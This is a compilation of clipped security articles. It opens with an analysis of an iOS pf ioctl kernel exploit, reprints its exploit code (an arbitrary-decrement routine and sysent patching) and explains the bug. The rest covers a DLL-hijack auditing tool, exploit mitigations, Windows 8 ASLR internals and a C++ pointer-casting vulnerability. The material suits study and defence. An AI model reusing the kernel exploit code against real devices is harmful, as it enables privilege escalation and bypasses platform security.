*((unsigned int *) p) = (unsigned int) &ok_go;  
assert(!mprotect((void *)target_pagebase, 0x2000, PROT_READ | PROT_EXEC));  
  
// Yes, reopening is necessary  
pffd = open("/dev/pf", O_RDWR);  
ioctl(pffd, DIOCSTOP);  
assert(!ioctl(pffd, DIOCSTART));  
unsigned int sysent_patch = CONFIG_SYSENT_PATCH;  
while(num_decs--)  
pwn(sysent_patch+3);  
assert(!ioctl(pffd, DIOCSTOP));  
close(pffd);  
  
assert(!mlock((void *) ((unsigned int)(&ok_go) & ~0xfff), 0x1000));  
assert(!mlock((void *) ((unsigned int)(&flush) & ~0xfff), 0x1000));  
assert(!mlock((void *) target_pagebase, 0x2000));  
#ifdef DEBUG  
printf("ok\n"); fflush(stdout);  
#endif  
syscall(0);  
#ifdef DEBUG  
printf("we're out\n"); fflush(stdout);  
#endif  
//...  
}  
//...  
  
static void pwn(unsigned int addr) {  
struct pfioc_trans trans;  
struct pfioc_trans_e trans_e;  
struct pfioc_pooladdr pp;  
struct pfioc_rule pr;  
  
memset(&trans, 0, sizeof(trans));  
memset(&trans_e, 0, sizeof(trans_e));  
memset(&pr, 0, sizeof(pr));  
  
trans.size = 1;  
trans.esize = sizeof(trans_e);  
trans.array = &trans_e;  
trans_e.rs_num = PF_RULESET_FILTER;  
memset(trans_e.anchor, 0, MAXPATHLEN);  
assert(!ioctl(pffd, DIOCXBEGIN, &trans));  
u_int32_t ticket = trans_e.ticket;  
  
assert(!ioctl(pffd, DIOCBEGINADDRS, &pp));  
u_int32_t pool_ticket = pp.ticket;  
  
pr.action = PF_PASS;  
pr.nr = 0;  
pr.ticket = ticket;  
pr.pool_ticket = pool_ticket;  
memset(pr.anchor, 0, MAXPATHLEN);  
memset(pr.anchor_call, 0, MAXPATHLEN);  
  
pr.rule.return_icmp = 0;  
pr.rule.action = PF_PASS;  
pr.rule.af = AF_INET;  
pr.rule.proto = IPPROTO_TCP;  
pr.rule.rt = 0;  
pr.rule.rpool.proxy_port[0] = htons(1);  
pr.rule.rpool.proxy_port[1] = htons(1);  
  
pr.rule.src.addr.type = PF_ADDR_ADDRMASK;  
pr.rule.dst.addr.type = PF_ADDR_ADDRMASK;  
  
//offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4  
pr.rule.overload_tbl = (void *)(addr - 0x4a4);  
  
errno = 0;  
  
assert(!ioctl(pffd, DIOCADDRULE, &pr));  
  
assert(!ioctl(pffd, DIOCXCOMMIT, &trans));  
  
pr.action = PF_CHANGE_REMOVE;  
assert(!ioctl(pffd, DIOCCHANGERULE, &pr));  
}`

The vulnerability is located in the `DIOCADDRULE` `ioctl` handler, due to
improper initialization of the `overload_tbl` field, which can be later
exploited in the `DIOCCHANGERULE` handler. The following code snippet shows
the relevant parts of those handlers :

`//bsd/net/pf_ioctl.c  
static int  
pfioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p)  
{  
//...  
switch (cmd) {  
//...  
case DIOCADDRULE: {  
struct pfioc_rule *pr = (struct pfioc_rule *)addr;  
struct pf_ruleset *ruleset;  
  
//...  
  
//copy structure passed from userspace  
bcopy(&pr->rule, rule, sizeof (struct pf_rule));  
rule->cuid = kauth_cred_getuid(p->p_ucred);  
rule->cpid = p->p_pid;  
rule->anchor = NULL;  
rule->kif = NULL;  
TAILQ_INIT(&rule->rpool.list);  
/* initialize refcounting */  
rule->states = 0;  
rule->src_nodes = 0;  
rule->entries.tqe_prev = NULL;  
  
//...  
  
if (rule->overload_tblname[0]) {  
if ((rule->overload_tbl = pfr_attach_table(ruleset,  
rule->overload_tblname)) == NULL)  
error = EINVAL;  
else  
rule->overload_tbl->pfrkt_flags |=  
PFR_TFLAG_ACTIVE;  
}  
//...  
  
case DIOCCHANGERULE: {  
//...  
if (pcr->action == PF_CHANGE_REMOVE) {  
pf_rm_rule(ruleset->rules[rs_num].active.ptr, oldrule);  
ruleset->rules[rs_num].active.rcount--;  
}  
//...  
}  
  
//...  
}`

The `rule` field of the `pfioc_rule` structure passed from userland is copied
into a kernel buffer, and then some of the structure fields are reinitialized.
However, if `rule->overload_tblname[0] `is zero, the `rule->overload_tbl`
pointer won't be initialized properly and will retain the value passed from
userland. When the rule is removed, the `pf_rm_rule`function calls
`pfr_detach_table` which in turn decrements a reference counter using the
invalid pointer, allowing an arbitrary decrement anywhere in kernel memory :

`//bsd/net/pf_ioctl.c  
void  
pf_rm_rule(struct pf_rulequeue *rulequeue, struct pf_rule *rule)  
{  
if (rulequeue != NULL) {  
if (rule->states <= 0) {  
/*  
* XXX - we need to remove the table *before* detaching  
* the rule to make sure the table code does not delete  
* the anchor under our feet.  
*/  
pf_tbladdr_remove(&rule->src.addr);  
pf_tbladdr_remove(&rule->dst.addr);  
if (rule->overload_tbl)  
pfr_detach_table(rule->overload_tbl);  
}  
//...  
}  
  
  
//bsd/net/pf_table.c  
void  
pfr_detach_table(struct pfr_ktable *kt)  
{  
lck_mtx_assert(pf_lock, LCK_MTX_ASSERT_OWNED);  
  
if (kt->pfrkt_refcnt[PFR_REFCNT_RULE] <= 0)  
printf("pfr_detach_table: refcount = %d.\n",  
kt->pfrkt_refcnt[PFR_REFCNT_RULE]);  
else if (!--kt->pfrkt_refcnt[PFR_REFCNT_RULE]) //arbitrary decrement happens
here  
pfr_setflags_ktable(kt, kt->pfrkt_flags&~PFR_TFLAG_REFERENCED);  
}`

In order to decrement the dword at address `addr`, the `pwn` function of
comex's exploit sets the `pr.rule.overload_tbl` to`addr` minus `0x4a4`, which
is the value of `offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE])`
on a 32 bit architecture. The exploit decrement the syscall 0 handler address
in the `sysent` array which holds function pointers for all system calls. A
trampoline shellcode is mapped at a specific address chosen so that only the
most significant byte of the original pointer has to be decremented \(the
minimum amount to move the pointer from kernel space down to user space\).
This trampoline will simply call the `ok_go` C function which will patch
various functions in the kernel to perform the jailbreak : make code signing
checks return true, disable W^X policy, and restore the overwritten syscall
handler.

This vulnerability is also present in other BSD operating systems using the pf
module. However, since exploitation requires root privileges to access the
`/dev/pf` file, the impact on those systems is minor. Apple's patch in iOS
4.2.1 added a function to safely initialize the `pf_rule` structures in the
`DIOCADDRULE` and `DIOCGETRULE` handlers. A similar patch was recently
committed into the OpenBSD CVS repository.

# DllHijackAuditor : Smart Tool to Audit the DLL Hijack Vulnerability -
www.SecurityXploded.com

**Created:**| _9/10/2010 9:46:38 AM_  
---|---  
**Updated:**| _9/10/2010 9:46:38 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security windows environment_  
  
About DllHijackAuditor  
---  
| <img src='img/dllhijackauditor_icon.png' width='80' height='80' />|
DllHijackAuditor is the smart tool to Audit against the Dll Hijacking
Vulnerability in any Windows application. This is recently discovered critical
security issue affecting almost all Windows systems on the planet. It appears
that large amount of Windows applications are currently susceptible to this
vulnerability which can allow any attacker to completely take over the system.  
---|---  
DllHijackAuditor helps in discovering all such Vulnerable Dlls in a Windows
application which otherwise can lead to successful exploitation resulting in
total compromise of the system. With its simple GUI interface DllHijackAuditor
makes it easy for anyone to instantly perform the auditing operation. It also
presents detailed technical Audit report which can help the developer in
fixing all vulnerable points in the application.  
  
   
New version v2 brings out following features,  
  *  New & Smart Debugger based 'Interception Engine' for consistent and efficient performance.
  *  Support for specifying as well as auditing of application with custom & multiple Extensions.
  *  Timeout Configuration to alter the waiting time for each Application.

  
   
DllHijackAuditor is a standalone portable application which does not require
any installation and can be run from anywhere. It works on wide range of
platforms starting from Windows XP to latest operating system, Windows 7.  
   
   
Features of DllHijackAuditor  
Here are some of the smart features of DllHijackAuditor,  
  *  Directly & Instantly audit any Windows Application.
  *   

  *  Allows complete testing to uncover all Vulnerable points in the target Application
  *   

  *  Smart Debugger based 'Interception Engine' for consistent and efficent performance without intrusion.
  *   

  *  Support for specifying as well as auditing of application with custom & multiple Extensions.
  *   

  * Timeout Configuration to alter the waiting time for each Application.
  *   

  *  Generates complete auditing report \(in HTML format\) about all vulnerable hijack points in the Application.
  *   

  *  GUI based tool, makes it easy for anyone with minimum knowledge to perform the auditing operation.
  *   

  *  Does not require any special privilege for auditing of the application \(unless target application requires\)
  *   

  *  Free from Antivirus as it does not use any shellcodes or exploit codes which trigger Antivirus to terminate the operation.
  *   

  *  No installation is required, one can just copy and run anywhere.
  *   

  
   
Using DllHijackAuditor  
Here are simple tests to use DllHijackAuditor for auditing of any Windows
application.  
  
  *  Launch the DllHijackAuditor after copying it to the local system. You will see it as shown in the Screenshot 1
  *   

  *  Now click on 'Browse' button to select application and then click on 'Start Audit' to begin the operation.
  *   

  *  Next click on 'Exploit' button \(only if it has found any vulnerable DLLs in the previous phase\) to perform real Exploitation test.
  *   

  *  Finally click on 'Report' button to generate complete Audit report.
  *   

  
You can tick the check box \( 'Do not terminate application' \) to make
DllHijackAuditor to wait until you perform complete testing of all vulnerable
points within the application. Once you are done with the testing, close the
application so that DllHijackAuditor will continue with auditing operation.  
  
   
   
Video Demo of DllHijackAuditor  
Here is the short Video demonstration of DllHijackAuditor auditing the
Wireshark for Dll Hijack Vulnerability.  
   
   
   
Screenshots of DllHijackAuditor  
Here are the screenshots of DllHijackAuditor in action showing various phases
of Auditing operation.  
   
 Screenshot 1: DllHijackAuditor ready for the auditing operation  
   
<img src='img/dllhijackauditor_screenshot1_main_small.jpg' width='450'
height='337' alt='DllHijackAuditor' />  
**Screenshot 2:** DllHijackAuditor after the completion of Phase 1
\(Vulnerability Testing\) of auditing operation of WireShark.exe  
   
<img src='img/dllhijackauditor_screenshot2_auditcomplete_small.jpg'
width='450' height='337' alt='DllHijackAuditor' />  
 Screenshot 3: DllHijackAuditor after the completion of Phase 2
\(Exploitation\) of auditing operation of WireShark.exe  
   
<img src='img/dllhijackauditor_screenshot3_exploitcomplete_small.jpg'
alt='DllHijackAuditor' />  
 Screenshot 4: Complete Audit report generated by DllHijackAuditor as last
phase of auditing operation of WireShark.exe  
   
<img src='img/dllhijackauditor_screenshot4_auditreport_small.jpg' width='450'
height='365' alt='DllHijackAuditor' />  
   
   
About Dll Hijack Vulnerability  
Dll Hijack Vulnerability is the latest security issue in the Windows platform
which is being exploited widely and marked to be critical as it affects many
existing Windows applications.  
Microsoft has acknowledged about this Dll Hijack Vulnerability in this
**Security Advisory** and suggested following **workaround/solution** to fix
this issue.  
  
For more about this Vulnerability, Please read following blog post, **' DLL
Hijacking Exploit – All at One Place'**  
  
   
   
Testing DllHijackAuditor  
DllHijackAuditor has been tested with all the platforms starting from Windows
XP to latest operating system, Windows 7 \(on 32 bit platforms\) successfully.
However it is possible that you may encounter issues and if you find any,
please report it to author. You can use this **feedback form** to report the
bugs or suggestions about this tool.  
  
   
Known Limitations/Issues  
Here are some of the known limitations or issues of this tool  
  
  * Does not support auditing of 64 bit applications
  *   

  * Target application may not terminate sometimes and may appear to be frozen. It will close automatically when DllHijackAuditor is closed.

  
   
Acknowledgements  
  * Thanks to EvilFingers for the Spark without which this tool would not have born at all.
  *   

  * Thanks to HD Moore for paving the path with his smart work on DllHijackAuditKit

  
   
Release History  
| Version 2.0:  7th Sep 2010  
---  
Introduction of new & smart Interception Engine for consistent and efficent
performance without intrusion of process. Support for specifying custom &
multiple extensions and timeout configuration.   
   
Version 1.0:  30th Aug 2010  
First public release of DllHijackAuditor.  
   
   
Download DllHijackAuditor  
|  
<img src='img/download.gif' width='24' height='24' />**DllHijackAuditor 2.0**  
  
License  : Freeware  
Platform : Windows XP, 2003, Vista, Win7  
Download  
---

# Buffer Overflows and You

**Created:**| _1/31/2012 7:22:51 PM_  
---|---  
**Updated:**| _1/31/2012 7:23:02 PM_  
**Author:**| __  
**Tags:**| _security Tutorials x64 mitigations_  
  

## Modern defenses

Everything has been pretty cool up to this point. Sadly, it's time for
reality. The attacks that we just talked about can no longer happen on modern
systems. There are three reasons for this...

## NX and Exec Shield

Modern architectures provide a "No eXecute" bit, which allows you to mark
certain regions of memory as non-executable. If the stack is marked in this
way, it is impossible to run shellcode that has been injected into a buffer on
the stack. That said, you may be able to get around this by overflowing a heap
buffer \(but heaps are almost always non-executable now too\) or by using a
return-to-libc-style attack.

On older architectures that do not provide the NX bit, there is something
called "exec shield," found on many Red Hat systems. It emulates the NX bit on
systems that do not have hardware support for it. Other systems accomplish the
same thing, just with a different name. Even newer versions of windoze have
support for software emulation of the NX bit, called "Data Execution
Prevention" \(DEP\).

If you recall from earlier, we actually turned this off for our programs. This
can be accomplished by setting a flag in the actual binary \(we can also shut
it off system-wide, but there's really no reason to\). You can use "execstack"
to set the flag on existing binaries, or, if you're compiling a new binary you
can pass the "-z execstack" flag on to gcc.

## gcc StackGuard

gcc by default also adds extra code to programs to protect against buffer
overflows in general. This extra code adds "special" values called
**canaries** before and after the return address and checks to make sure they
haven't been overwritten before proceeding to execute a return. We disable it
by including the "-fno-stack-protection" when compiling.

## Address space layout randomization \(ASLR\)

Let's take our sample program from the introduction, sample1, and run it a
couple of times while looking at each memory map...

[code]

    $ pmap 12662
    12662:   ./sample1
    0000000000400000      4K r-x--  /home/turkstra/src/cs526/sample1
    0000000000600000      4K rw---  /home/turkstra/src/cs526/sample1
    00000032e7000000    120K r-x--  /lib64/ld-2.11.1.so
    00000032e721d000      4K r----  /lib64/ld-2.11.1.so
    00000032e721e000      4K rw---  /lib64/ld-2.11.1.so
    00000032e721f000      4K rw---    [ anon ]
    00000032e7400000   1468K r-x--  /lib64/libc-2.11.1.so
    00000032e756f000   2048K -----  /lib64/libc-2.11.1.so
    00000032e776f000     16K r----  /lib64/libc-2.11.1.so
    00000032e7773000      4K rw---  /lib64/libc-2.11.1.so
    00000032e7774000     20K rw---    [ anon ]
    00007f314ab04000     12K rw---    [ anon ]
    00007f314ab28000     12K rw---    [ anon ]
    00007fff06c3d000     84K rw---    [ stack ]
    00007fff06d19000      4K r-x--    [ anon ]
    ffffffffff600000      4K r-x--    [ anon ]
     total             3812K
    
[/code]

[code]

    $ pmap 12666
    12666:   ./sample1
    0000000000400000      4K r-x--  /home/turkstra/src/cs526/sample1
    0000000000600000      4K rw---  /home/turkstra/src/cs526/sample1
    00000032e7000000    120K r-x--  /lib64/ld-2.11.1.so
    00000032e721d000      4K r----  /lib64/ld-2.11.1.so
    00000032e721e000      4K rw---  /lib64/ld-2.11.1.so
    00000032e721f000      4K rw---    [ anon ]
    00000032e7400000   1468K r-x--  /lib64/libc-2.11.1.so
    00000032e756f000   2048K -----  /lib64/libc-2.11.1.so
    00000032e776f000     16K r----  /lib64/libc-2.11.1.so
    00000032e7773000      4K rw---  /lib64/libc-2.11.1.so
    00000032e7774000     20K rw---    [ anon ]
    00007fbbe2954000     12K rw---    [ anon ]
    00007fbbe2978000     12K rw---    [ anon ]
    00007fff261f5000     84K rw---    [ stack ]
    00007fff26282000      4K r-x--    [ anon ]
    ffffffffff600000      4K r-x--    [ anon ]
     total             3812K
    
[/code]

Notice how the address of the stack keeps changing? Well this is the final
nail in the coffin. If the stack is no longer executable, we must rely on
return-to-libc style attacks, and those almost always rely on knowing where to
find a particular function \(like system\(\)\) as well as a string to pass
that function \(eg, "/bin/sh"\). With the stack's location randomized, the
location of that string changes every time the program executes. This makes
attacks much more difficult, particularly if the randomization is being done
properly.

It's worth noting that ASLR only works in the context of a non-executable
stack. If the stack is executable it's usually possible \(as we did in the
previous example\) to develop a payload that does not strictly rely on any
fixed addresses.

# Positive Research Center: Windows 8 ASLR Internals

**Created:**| _12/5/2012 7:23:05 AM_  
---|---  
**Updated:**| _12/5/2012 7:23:05 AM_  
**Author:**| __  
**Tags:**| __  
  

### Windows 8 ASLR Internals****

<img src='img/Temp2_6287.png' width='320' height='244' />

_Authors: Artem Shishkin and Ilya Smith, Positive Research**.**_  
_  
_ASLR stands for Address Space Layout Randomization**.** It is a security
mechanism which involves randomization of the virtual memory addresses of
various data structures, which may be attacked**.** It is difficult to predict
where the target structure is located in the memory, and thus an attacker has
small chances to succeed**.**  
  
ASLR implementation on Windows is closely related to the image relocation
mechanism**.** In fact, relocation allows a PE file to be loaded not only at
the fixed preferred image base**.** The PE file relocation section is a key
structure for the relocating process**.** It describes how to modify certain
code and data elements of the executable to ensure its proper functioning at
another image base**.**  
  
The key part of ASLR is a random number generator subsystem and a couple of
stub functions that modify the image base of a PE file, which is going to be
loaded**.**  
  
Windows 8 ASRL relies on a random number generator, which is actually a Lagged
Fibonacci Generator with parameters j=24 and k=55 and which is seeded at
Windows startup in the winload.exe module**.** Winload.exe gathers entropy at
boot time and has different sources: registry keys, TPM, Time, ACPI, and a new
rdrand CPU instruction**.** Windows kernel random number generator and its
initialization are described in detail in \[1\]**.**  
  
We would like to give a small note about the new rdrand CPU instruction**.**
The Ivy Bridge architecture of Intel processors has introduced the Intel
Secure Key technology for generating high-quality pseudo-random numbers**.**
It consists of a hardware digital random number generator \(DRNG\) and a new
instruction rdrand, which is used to retrieve values from DRNG
programmatically**.**  
  
As a hardware unit, DRNG is a separate module on a processor chip**.** It
operates asynchronously with the main processor cores at the frequency of 3
GHz**.** DRNG uses thermal noise as an entropy source. It also has a built-in
testing system performing a series of tests to ensure high quality output**.**
If one of these tests fails, DRNG refuses to generate random numbers at
all**.**  
  
The RDRAND instruction is used to retrieve random numbers from DRNG**.** The
documentation states that theoretically DRNG can return nulls instead of
random number sequence due to health test failure or if a generated random
number queue is empty**.** However, we were unable to drain the DRNG in
practice**.**  
Intel Secure Key is a really powerful random number generator producing high
quality random numbers at a very high speed**.** Unlike other entropy sources,
it is practically impossible to guess the initial RNG state initialized with
rdrand instruction**.**  
  
The internal RNG interface function is ExGenRandom\(\)**.** It also has an
exported wrapper function RtlRandomEx\(\)**.** Windows 8 ASLR uses this
function as opposed to the previous version that relied on the rdtsc
instruction**.** The rdtsc instruction is used for retrieving a timestamp
counter on a CPU, which changes linearly so that it cannot be considered a
secure random number generator**.**  
  
The core function of the ASLR mechanism is MiSelectImageBase**.** It has the
following pseudocode on Windows 8.  

[code]

    #define MI_64K_ALIGN(x) (x + 0x0F) >> 4
    #define MmHighsetUserAddress 0x7FFFFFEFFFF
    
    typedef PIMAGE_BASE ULONG_PTR;
    
    typedef enum _MI_MEMORY_HIGHLOW
    {
        MiMemoryHigh    = 0,
        MiMemoryLow     = 1,
        MiMemoryHighLow = 2
    } MI_MEMORY_HIGHLOW, *PMI_MEMORY_HIGHLOW;
    
    
    MI_MEMORY_HIGHLOW MiSelectBitMapForImage(PSEGMENT pSeg)
    {
        if (**!**(pSeg->SegmentFlags & FLAG_BINARY32))            // WOW binary
        {
            if (**!**(pSeg->ImageInformation->ImageFlags & FLAG_BASE_BELOW_4GB))
            {
                if (pSeg->BasedAddress > 0x100000000)
                {
                    return MiMemoryHighLow;
                }
                else
                {
                    return MiMemoryLow;
                }
            }
        }
    
        return MiMemoryHigh;
    }
    
    PIMAGE_BASE MiSelectImageBase(void* a1<rcx>, PSEGMENT pSeg)
    {
        MI_MEMORY_HIGHLOW ImageBitmapType;
        ULONG ImageBias;
        RTL_BITMAP *pImageBitMap;
        ULONG_PTR ImageTopAddress;
        ULONG RelocationSizein64k;
        MI_SECTION_IMAGE_INFORMATION *pImageInformation;
        ULONG_PTR RelocDelta;
        PIMAGE_BASE Result = NULL;
    
        // rsi = rcx
        // rcx = rdx
        // rdi = rdx
    
        pImageInformation = pSeg->ImageInformation;
        ImageBitmapType = MiSelectBitMapForImage(pSeg);
    
        a1->off_40h = ImageBitmapType;
    
        if (ImageBitmapType == MiMemoryLow)
        {
            // 64-bit executable with image base below 4 GB
            ImageBias = MiImageBias64Low;
            pImageBitMap = MiImageBitMap64Low;
            ImageTopAddress = 0x78000000;
        }
        else
        {
            if (ImageBitmapType == MiMemoryHighLow)
            {
                // 64-bit executable with image base above 4 GB
                ImageBias = MiImageBias64High;
                pImageBitMap = MiImageBitMap64High;
                ImageTopAddress = 0x7FFFFFE0000;
            }
            else
            {
                // MiMemoryHigh 32-bit executable image
                ImageBias = MiImageBias;
                pImageBitMap = MiImageBitMap;
                ImageTopAddress = 0x78000000;
            }
        }
    
        // pSeg->ControlArea->BitMap ^= (pSeg->ControlArea->BitMap ^ (ImageBitmapType << 29)) & 0x60000000;
        // or bitfield form
        pSeg->ControlArea**.** BitMap = ImageBitmapType;
    
        RelocationSizein64k = MI_64K_ALIGN(pSeg->TotalNumberOfPtes);
    
        if (pSeg->ImageInformation->ImageCharacteristics & IMAGE_FILE_DLL)
        {
            ULONG StartBit = 0;
            ULONG GlobalRelocStartBit = 0;
    
            StartBit = RtlFindClearBits(pImageBitMap, RelocationSizein64k, ImageBias);
            if (StartBit **!** = 0xFFFFFFFF)
            {
                StartBit = MiObtainRelocationBits(pImageBitMap, RelocationSizein64k, StartBit, 0);
                if (StartBit **!** = 0xFFFFFFFF)
                {
                    Result = ImageTopAddress - (((RelocationSizein64k) + StartBit) << 0x10);
                    if (Result == (pSeg->BasedAddress - a1->SelectedBase))
                    {
                        GlobalRelocStartBit = MiObtainRelocationBits(pImageBitMap, RelocationSizein64k, StartBit, 1);
                        StartBit = (GlobalRelocStartBit **!** = 0xFFFFFFFF) **?** GlobalRelocStartBit : StartBit;
                        Result = ImageTopAddress - (RelocationSizein64k + StartBit) << 0x10;
                    }
    
                    a1->RelocStartBit = StartBit;
                    a1->RelocationSizein64k = RelocationSizein64k;
                    pSeg->ControlArea->ImageRelocationStartBit = StartBit;    
                    pSeg->ControlArea->ImageRelocationSizeIn64k = RelocationSizein64k;
    
                    return Result;
                }
            }
        }
        else
        {
            // EXE image
            if (a1->SelectedBase **!** = NULL)
            {
                return pSeg->BasedAddress;
            }
    
            if (ImageBitmapType == MiMemoryHighLow)
            {
                a1->RelocStartBit = 0xFFFFFFFF;
                a1->RelocationSizein64k = (WORD)RelocationSizein64k;
                pSeg->ControlArea->ImageRelocationStartBit = 0xFFFFFFFF;
                pSeg->ControlArea->ImageRelocationSizeIn64k = (WORD)RelocationSizein64k;
    
                return ((DWORD)(ExGenRandom(1) % (0x20001 - RelocationSizein64k)) + 0x7F60000) << 16;
            }
        }
    
        ULONG RandomVal = ExGenRandom(1);
        RandomVal = (RandomVal % 0xFE + 1) << 0x10;
    
        RelocDelta = pSeg->BasedAddress - a1->SelectedBase;
        if (RelocDelta > MmHighsetUserAddress)
        {
            return 0;
        }
    
        if ((RelocationSizein64k << 0x10) >  MmHighsetUserAddress)
        {
            return 0;
        }
    
        if (RelocDelta + (RelocationSizein64k << 0x10) <= RelocDelta)
        {
            return 0;
        }
    
        if (RelocDelta + (RelocationSizein64k << 0x10) > MmHighsetUserAddress)
        {
            return 0;
        }
    
        if (a1->SelectedBase + RandomVal == 0)
        {
            Result = pSeg->BasedAddress;
        }
        else
        {
            if (RelocDelta > RandomVal)
            {
                Result = RelocDelta - RandomVal;
            }
            else
            {
                Result = RelocDelta + RandomVal;
                if (Result < RelocDelta)
                {
                    return 0;
                }
    
                if (((RelocationSizein64k << 0x10) + RelocDelta + RandomVal)  > 0x7FFFFFDFFFF)
                {
                    return 0;
                }
    
                if (((RelocationSizein64k << 0x10) + RelocDelta + RandomVal)  <  (RelocDelta + (RelocationSizein64k << 0x10))))
    
                {
                    return 0;
                }
            }
        }
    
        //random_epilog
        a1->RelocStartBit = 0xFFFFFFFF;
        a1->RelocationSizein64k = RelocationSizein64k;
        pSeg->ControlArea->ImageRelocationStartBit = 0xFFFFFFFF;
        pSeg->ControlArea->ImageRelocationSizeIn64k = RelocationSizein64k;
    
        return Result;
    }
[/code]

As we can see, there are three different image bitmaps**.** The first one is
for 32-bit executables, the second is for x64, and the third is for x64 with
the image base above 4GB, which grants them a high-entropy virtual
address**.**  
  
The executables are randomized by a direct modification of the image base**.**
As for the DLLs, ASLR is a part of relocation, and the random part of the
image base selection process is ImageBias**.** It is a value that is
initialized during the system startup**.**  

[code]

    VOID MiInitializeRelocations()
    {
        MiImageBias = ExGenRandom(1) % 256;
        MiImageBias64Low = ExGenRandom(1) % MiImageBitMap64Low**.** SizeOfBitMap;
        MiImageBias64High = ExGenRandom(1) % MiImageBitMap64High**.** SizeOfBitMap;
    
        return;
    }
[/code]

Image bitmaps represent the address space of the running user processes**.**
Once an executable image is loaded, it will have the same address for all the
processes that reference it**.** It is natural because of efficiency and
memory usage optimization, since executables use the copy-on-write
mechanism**.**  
ASLR implemented on Windows 8 can now force images, which are not ASLR aware,
to be loaded at a random virtual address**.** The table below demonstrates the
loader’s behavior with different combinations of ASLR-relevant linker
flags**.**  
  

<img src='img/Temp2_6288.png' width='640' height='532' />

  
_\*Cannot be built with MSVS because the /DYNAMICBASE option also implies
/FIXED:NO, which generates a relocation section in an executable**.**_  
  
We can spot that the loader’s behavior changed in Windows 8 — if a relocation
section is available in the PE file, it will be loaded anyway**.** It also
proves that ASLR and the relocation mechanism are really interconnected**.**  
  
Generally we can say that implementation of the new ASLR features on Windows 8
doesn’t much influence the code logic, that is why it is difficult to find any
profitable vulnerabilities in it**.** Entropy increase for randomizing various
objects is in fact a substitution of a constant expression in a code**.** The
code graphs also show that the code review has been done**.**  
  
References:  
  
\[1\] Chris Valasek, Tarjei Mandt**.** Windows 8 Heap Internals. 2012.  
\[2\] Ken Johnson, Matt Miller**.** Exploit Mitigation Improvements in Windows
8. Slides, Black Hat USA 2012**.**  
\[3\] Intel. Intel®Digital Random Number Generator \(DRNG\): Software
Implementation Guide**.** Intel Corporation, 2012.  
\[4\] Ollie Whitehouse**.** An Analysis of Address Space Layout Randomization
on Windows Vista**.** Symantec Advances Threat Research, 2007.  
\[5\] Alexander Sotirov, Mark Dowd. Bypassing Browser Memory Protections**.**
2008.

****

# Metasploit Framework - AdvisoryToExploit - Metasploit Redmine Interface

**Created:**| _12/18/2009 10:17:30 PM_  
---|---  
**Updated:**| _12/18/2009 10:17:42 PM_  
**Author:**| __  
**Tags:**| _Exploit Metasploit programming_  
  

# Advisory To Exploit Using Metasploit

## Timbuktu Pro PlughNTCommand Named Pipe Buffer Overflow

<img src='img/Temp2_5308.png' alt='Metasploit Logo' />

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**bannedit** \[bannedit0@gmail.com\]  
**\(12/16/2009\)**

## Table of Contents

  * 1\. Introduction
  * 2\. Digging Into the Advisory
  * 3\. Reversing the Vulnerability
    * 3.1 Installing the Software
    * 3.2 Locating the Vulnerable Code
  * 4\. Writing the Exploit in Metasploit
    * 4.1 Writing a Trigger
    * 4.2 Controlling the Crash
    * 4.3 Writing the Exploit
  * 5\. Conclusion
  * 6\. References

## Executive Summary

The purpose of this paper is to show the process of taking a vulnerability
advisory and turning it into a working real world exploit. To show the process
we will be utilizing some tools such as IDA Pro from Hex-Rays, Filemon and
PipeList from Microsoft SysInternals, along with the Metasploit Framework. IDA
Pro will be used to reverse engineer the application and the Metasploit
Framework will be used to test and develop the exploit code. While IDA Pro is
the only tool in the arsenal which is a commercial tool it is worth noting
that Ollydbg or Windbg could be used for the same reverse engineering process.
You could also opt to use the free version of IDA Pro 4.9 available on the
Hex-Rays website.

**To read more download the PDF** adv-to-exp-using-msf.pdf

  

# Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches

**Created:**| _7/15/2015 1:32:13 PM_  
---|---  
**Updated:**| _7/15/2015 1:32:33 PM_  
**Author:**| __  
**Tags:**| _cache_  
  
<img src='img/usenix.pdf' />

# The story of MS13-002: How incorrectly casting fat pointers can make your
code explode - Security Research & Defense - Site Home - TechNet Blogs

**Created:**| _8/8/2013 8:17:01 AM_  
---|---  
**Updated:**| _8/8/2013 8:17:01 AM_  
**Author:**| __  
**Tags:**| _compiler-building pointers_  
  

# **T** he story of MS13-002: How incorrectly casting fat pointers can make
your code explode****

swiat

6 Aug 2013 9:40 PM

C++ supports developers in object-orientated programming and removes from the
developer the responsibility of dealing with many object-oriented programming
\(OOP\) paradigm problems. But these problems do not magically disappear**.**
Rather it is the compiler that aims to provide a solution to many of the
complexities that arise from C++ objects, virtual methods, inheritance
etc**.** At its best the solution is almost transparent for the
developers**.** But beware of assuming or relying on ‘under-the-hood’
behavior**.** This is what I want to share in this post - some aspects of how
compilers deal with C++ objects, virtual methods, inheritance, etc**.** At the
end I want to describe a real-world problem that I analyzed recently, which I
called a “ _pointer casting vulnerability_ ”**.**

**Pointers C vs C++**

C++ introduces classes supported by the C++ language standard, which is a big
change**.** Compilers need to take care of many problems, e.g. constructors,
destructors, separating fields, method calling etc**.**

In C we are able to create a function-pointer so why shouldn't we be able to
create a pointer-to-member-function in C++**?** What does it mean**?** If we
have a class with implementation of any method, from the C developer point of
view this is just a function declared inside the object**.** C++ should allow
us to create pointer to exactly this method**.** It is called a pointer-to-
member-function.

How can you create them**?** It is more complex than a function pointer in C.
Let's see an example:

[code]

    class Whatever {
    public:
    	int func(int p_test) {
    		printf("I'm method \"func()\" **!** \n");
    	}
    };
    
    typedef int   (Whatever::*func_ptr)(int);
    func_ptr p_func = &Whatever::func;
    Whatever *base = new Whatever();
    int ret = (base->*p_func)(0x29a);  
    
[/code]

The definition of the function pointer is not much different comparing to C.
But the way to call the function from the pointer obviously is because of the
implied this pointer**.** At this point some magic happens. Why do we need to
have an instance of the class and why we are using it as a base to call the
pointer**?** The answer requires us to analyze what these “pointers” look like
in memory**.**

Normal pointers \(known from C language\) have size of a CPU word**.** If the
CPU operates on 32 bit registers, a C-like pointer will be 32 bits long and
will contain just a memory address**.** But the pointer-to-function-member C++
pointers mentioned above are sometimes also called “ _fat pointers_ ”**.**
This name gives us a hint that they keep more information, not just a memory
